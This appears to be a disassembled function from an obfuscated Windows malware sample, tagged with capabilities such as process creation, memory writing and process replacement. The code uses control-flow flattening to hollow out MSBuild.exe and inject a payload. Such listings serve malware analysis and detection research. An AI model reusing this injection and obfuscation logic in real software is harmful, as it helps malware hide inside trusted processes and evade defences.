Function at 0x100034c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x158
mov eax, dword [0x10069800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x160], 0xfb1c0c78
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
sub eax, 0x80c46119
je 0x1000748c
jmp 0x100034fc
mov eax, dword [ebp - 0x164]
sub eax, 0x81da52e1
je 0x1000aedd
jmp 0x10003512
mov eax, dword [ebp - 0x164]
sub eax, 0x823b2939
je 0x10006a50
jmp 0x10003528
mov eax, dword [ebp - 0x164]
sub eax, 0x8248f7da
je 0x10006f4b
jmp 0x1000353e
mov eax, dword [ebp - 0x164]
sub eax, 0x82f2e46d
je 0x10008762
jmp 0x10003554
mov eax, dword [ebp - 0x164]
sub eax, 0x835f69d9
je 0x1000a8aa
jmp 0x1000356a
mov eax, dword [ebp - 0x164]
sub eax, 0x838c2ed2
je 0x100065e2
jmp 0x10003580
mov eax, dword [ebp - 0x164]
sub eax, 0x83d9f18d
je 0x10009c12
jmp 0x10003596
mov eax, dword [ebp - 0x164]
sub eax, 0x84bc41b1
je 0x1000ac45
jmp 0x100035ac
mov eax, dword [ebp - 0x164]
sub eax, 0x84d43ae1
je 0x1000625b
jmp 0x100035c2
mov eax, dword [ebp - 0x164]
sub eax, 0x86e7445b
je 0x1000763b
jmp 0x100035d8
mov eax, dword [ebp - 0x164]
sub eax, 0x884a71d7
je 0x1000adbc
jmp 0x100035ee
mov eax, dword [ebp - 0x164]
sub eax, 0x8875f191
je 0x10007740
jmp 0x10003604
mov eax, dword [ebp - 0x164]
sub eax, 0x889846a8
je 0x10006349
jmp 0x1000361a
mov eax, dword [ebp - 0x164]
sub eax, 0x88a7a699
je 0x1000ad6b
jmp 0x10003630
mov eax, dword [ebp - 0x164]
sub eax, 0x8944564d
je 0x10006911
jmp 0x10003646
mov eax, dword [ebp - 0x164]
sub eax, 0x8a610751
je 0x10005c61
jmp 0x1000365c
mov eax, dword [ebp - 0x164]
sub eax, 0x8b12893d
je 0x1000b05f
jmp 0x10003672
mov eax, dword [ebp - 0x164]
sub eax, 0x8b948779
je 0x1000777c
jmp 0x10003688
mov eax, dword [ebp - 0x164]
sub eax, 0x8c1f9dd9
je 0x1000b40e
jmp 0x1000369e
mov eax, dword [ebp - 0x164]
sub eax, 0x8d802580
je 0x1000a313
jmp 0x100036b4
mov eax, dword [ebp - 0x164]
sub eax, 0x8edb7675
je 0x1000b308
jmp 0x100036ca
mov eax, dword [ebp - 0x164]
sub eax, 0x90b8510d
je 0x1000b109
jmp 0x100036e0
mov eax, dword [ebp - 0x164]
sub eax, 0x9335ad1d
je 0x10007124
jmp 0x100036f6
mov eax, dword [ebp - 0x164]
sub eax, 0x93fe99e0
je 0x1000b2e9
jmp 0x1000370c
mov eax, dword [ebp - 0x164]
sub eax, 0x95bdb97e
je 0x1000701a
jmp 0x10003722
mov eax, dword [ebp - 0x164]
sub eax, 0x9678d1a0
je 0x100095c3
jmp 0x10003738
mov eax, dword [ebp - 0x164]
sub eax, 0x967911be
je 0x1000974b
jmp 0x1000374e
mov eax, dword [ebp - 0x164]
sub eax, 0x9755ce7e
je 0x1000b3a2
jmp 0x10003764
mov eax, dword [ebp - 0x164]
sub eax, 0x9794206b
je 0x100076ca
jmp 0x1000377a
mov eax, dword [ebp - 0x164]
sub eax, 0x97a80717
je 0x100097ba
jmp 0x10003790
mov eax, dword [ebp - 0x164]
sub eax, 0x97a91090
je 0x1000a14c
jmp 0x100037a6
mov eax, dword [ebp - 0x164]
sub eax, 0x99212847
je 0x1000624c
jmp 0x100037bc
mov eax, dword [ebp - 0x164]
sub eax, 0x9b4c05ef
je 0x10006709
jmp 0x100037d2
mov eax, dword [ebp - 0x164]
sub eax, 0x9c36349e
je 0x10006edb
jmp 0x100037e8
mov eax, dword [ebp - 0x164]
sub eax, 0x9c9deef9
je 0x1000a982
jmp 0x100037fe
mov eax, dword [ebp - 0x164]
sub eax, 0x9cb56dd2
je 0x1000a861
jmp 0x10003814
mov eax, dword [ebp - 0x164]
sub eax, 0x9d6c1e21
je 0x10008e4f
jmp 0x1000382a
mov eax, dword [ebp - 0x164]
sub eax, 0x9d7b2315
je 0x1000ac27
jmp 0x10003840
mov eax, dword [ebp - 0x164]
sub eax, 0x9de58cbe
je 0x100079ab
jmp 0x10003856
mov eax, dword [ebp - 0x164]
sub eax, 0x9f82d8e1
je 0x10009eea
jmp 0x1000386c
mov eax, dword [ebp - 0x164]
sub eax, 0x9fd158cf
je 0x10009ff9
jmp 0x10003882
mov eax, dword [ebp - 0x164]
sub eax, 0x9fdca1b2
je 0x1000973c
jmp 0x10003898
mov eax, dword [ebp - 0x164]
sub eax, 0xa1a95795
je 0x10007c03
jmp 0x100038ae
mov eax, dword [ebp - 0x164]
sub eax, 0xa1bf86af
je 0x10009207
jmp 0x100038c4
mov eax, dword [ebp - 0x164]
sub eax, 0xa1d8480b
je 0x1000b0cb
jmp 0x100038da
mov eax, dword [ebp - 0x164]
sub eax, 0xa2439b43
je 0x10005c90
jmp 0x100038f0
mov eax, dword [ebp - 0x164]
sub eax, 0xa253f05a
je 0x1000755d
jmp 0x10003906
mov eax, dword [ebp - 0x164]
sub eax, 0xa38f31ff
je 0x10006033
jmp 0x1000391c
mov eax, dword [ebp - 0x164]
sub eax, 0xa51d6776
je 0x1000ab77
jmp 0x10003932
mov eax, dword [ebp - 0x164]
sub eax, 0xa6bd7b70
je 0x10009f83
jmp 0x10003948
mov eax, dword [ebp - 0x164]
sub eax, 0xa70191ff
je 0x1000757a
jmp 0x1000395e
mov eax, dword [ebp - 0x164]
sub eax, 0xa770f67a
je 0x1000b6d6
jmp 0x10003974
mov eax, dword [ebp - 0x164]
sub eax, 0xa793bcc2
je 0x10009590
jmp 0x1000398a
mov eax, dword [ebp - 0x164]
sub eax, 0xa924b0ef
je 0x10008178
jmp 0x100039a0
mov eax, dword [ebp - 0x164]
sub eax, 0xa9318deb
je 0x1000908c
jmp 0x100039b6
mov eax, dword [ebp - 0x164]
sub eax, 0xa936f28f
je 0x1000b06e
jmp 0x100039cc
mov eax, dword [ebp - 0x164]
sub eax, 0xa962bcf8
je 0x10007b74
jmp 0x100039e2
mov eax, dword [ebp - 0x164]
sub eax, 0xab515312
je 0x10007c22
jmp 0x100039f8
mov eax, dword [ebp - 0x164]
sub eax, 0xac7c5649
je 0x10007029
jmp 0x10003a0e
mov eax, dword [ebp - 0x164]
sub eax, 0xad2f91ca
je 0x100090a9
jmp 0x10003a24
mov eax, dword [ebp - 0x164]
sub eax, 0xad87d57d
je 0x100093b6
jmp 0x10003a3a
mov eax, dword [ebp - 0x164]
sub eax, 0xadc93216
je 0x10005dff
jmp 0x10003a50
mov eax, dword [ebp - 0x164]
sub eax, 0xadf7bd2a
je 0x100094fe
jmp 0x10003a66
mov eax, dword [ebp - 0x164]
sub eax, 0xaeb70a98
je 0x1000b0ea
movss xmm0, dword [0x100183a4]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x100183a0]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x160], 0xa2439b43
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0x12dc73e6
jmp 0x1000b6fe
mov dl, 1
mov eax, 0x2904ab49
mov ecx, 0x63b9004a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
movss xmm0, dword [0x10018380]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x160], 0x6470aed3
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0x84d43ae1
jmp 0x1000b6fe
movss xmm0, dword [0x10018374]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x160], 0x4103c6cc
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0x3efa2422
jmp 0x1000b6fe
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x303f067b
mov ecx, 0x5ca88a28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
movss xmm0, dword [0x10018218]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0x620455d8
sub edx, 1
sub edx, 0x620455d8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6f30786
mov ecx, 0xf7f22012
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
movss xmm0, dword [0x10018210]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
sub edx, 0xe62182
sub edx, 1
add edx, 0xe62182
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x56c1b2c7
mov ecx, 0x4e4daf29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0x265cb97b
jmp 0x1000b6fe
movss xmm0, dword [0x10018200]
movss dword [ebp - 0x12c], xmm0
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0xf1e6c84d
sub edx, 1
sub edx, 0xf1e6c84d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe24a82a4
mov ecx, 0x353c94d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa1d8480b
mov ecx, 0x364d4ebf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0xac7c5649
jmp 0x1000b6fe
mov dl, 1
mov eax, 0xbc37554e
mov ecx, 0x55574d1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
movss xmm0, dword [0x10018348]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x160], 0xbc37554e
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0x6d8aaa2b
jmp 0x1000b6fe
mov dl, 1
mov eax, 0x53ae9efe
mov ecx, 0xa70191ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
sub edx, 0xd17a8039
sub edx, 1
add edx, 0xd17a8039
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x413c9dcd
mov ecx, 0xcfe4bd70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
movss xmm0, dword [0x10018330]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x160], 0x53ae9efe
jmp 0x1000b6fe
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0x52917c7f
sub edx, 1
add edx, 0x52917c7f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc79bc5de
mov ecx, 0x8875f191
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov dl, 1
mov eax, 0xf0ef88c8
mov ecx, 0x4c5d1fdf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
movss xmm0, dword [0x10018324]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x160], 0xf0ef88c8
jmp 0x1000b6fe
movss xmm0, dword [0x10018300]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x160], 0xcc58cb4e
jmp 0x1000b6fe
movss xmm0, dword [0x100181d4]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x100181d0]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0x9ec91fad
sub edx, 1
sub edx, 0x9ec91fad
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf1223e5
mov ecx, 0xc68e50ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
movss xmm0, dword [0x100182f0]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x160], 0xab515312
jmp 0x1000b6fe
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0xbd95a9c3
sub edx, 1
add edx, 0xbd95a9c3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd6499af
mov ecx, 0x134787c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov dl, 1
mov eax, 0x78f50daf
mov ecx, 0xca0b5586
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
movss xmm0, dword [0x10018290]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x160], 0x30f4d608
jmp 0x1000b6fe
movss xmm0, dword [0x10018268]
movss dword [ebp - 0x140], xmm0
mov dl, 1
mov eax, 0x78862beb
mov ecx, 0x5efde40a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov dl, 1
mov eax, 0xd4686e30
mov ecx, 0xad2f91ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
movss xmm0, dword [0x10018260]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x1001825c]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x160], 0xb0fb13
jmp 0x1000b6fe
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
sub edx, 0xf266a5c4
sub edx, 1
add edx, 0xf266a5c4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8c1f9dd9
mov ecx, 0xf90172b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0xf3536b95
jmp 0x1000b6fe
mov dl, 1
mov eax, 0xc02cd5e3
mov ecx, 0xfe6355a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
movzx edx, word [eax]
mov eax, 0x57a55fe1
mov ecx, 0x9678d1a0
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x160], 0x2fc166c0
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0x967911be
jmp 0x1000b6fe
mov eax, dword [ebp - 0xe8]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x151], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x158], eax
mov dl, byte [ebp - 0x151]
mov eax, 0x32a7ef44
mov ecx, 0x97a80717
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x121170c7
mov ecx, 0x434200e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3291dcc1
mov ecx, 0xcd848723
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xc4]
cmp eax, ecx
setae al
and al, 1
mov byte [ebp - 0xb5], al
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0x63e107af
sub edx, 1
sub edx, 0x63e107af
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67c297d5
mov ecx, 0x4a53e295
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
add edx, 0xcee79f38
sub edx, 1
sub edx, 0xcee79f38
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc1e448b5
mov ecx, 0x9fd158cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
add edx, 0xc8234159
sub edx, 1
sub edx, 0xc8234159
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc1e448b5
mov ecx, 0x56616fef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0x5cf17076
jmp 0x1000b6fe
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x71fc4dee
mov ecx, 0xd7c24aa7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4ca71f91
mov ecx, 0x835f69d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x78]
sub ecx, 0xef5cdf3e
add ecx, eax
add ecx, 0xef5cdf3e
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0xc4a7c86b
sub edx, 1
add edx, 0xc4a7c86b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ca71f91
mov ecx, 0x27d316dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfdbefa4c
mov ecx, 0xcc3054a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0xb19b32b4
jmp 0x1000b6fe
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x160], 0x84bc41b1
jmp 0x1000b6fe
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa770f67a
mov ecx, 0x18507523
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0xf561de63
sub edx, 1
sub edx, 0xf561de63
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf080b172
mov ecx, 0x884a71d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf080b172
mov ecx, 0x3b9974f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000b6fe
movss xmm0, dword [0x10018234]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x160], 0xa8c16f2
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0x40573f22
jmp 0x1000b6fe
movss xmm0, dword [0x10018208]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x160], 0x301ae33
jmp 0x1000b6fe
movss xmm0, dword [0x100181fc]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x160], 0x364d4ebf
jmp 0x1000b6fe
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x160], 0x3a463202
jmp 0x1000b6fe
movss xmm0, dword [0x100181b8]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x160], 0xcfc9d34d
jmp 0x1000b6fe
mov dword [ebp - 0x160], 0x71280d36
jmp 0x1000b6fe
movss xmm0, dword [0x100181a4]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x160], 0x381c68ff
jmp 0x1000b6fe
movss xmm0, dword [0x10018198]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x160], 0xf90172b7
jmp 0x1000b6fe
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x160], 0x18507523
jmp 0x1000b6fe
jmp 0x100034e0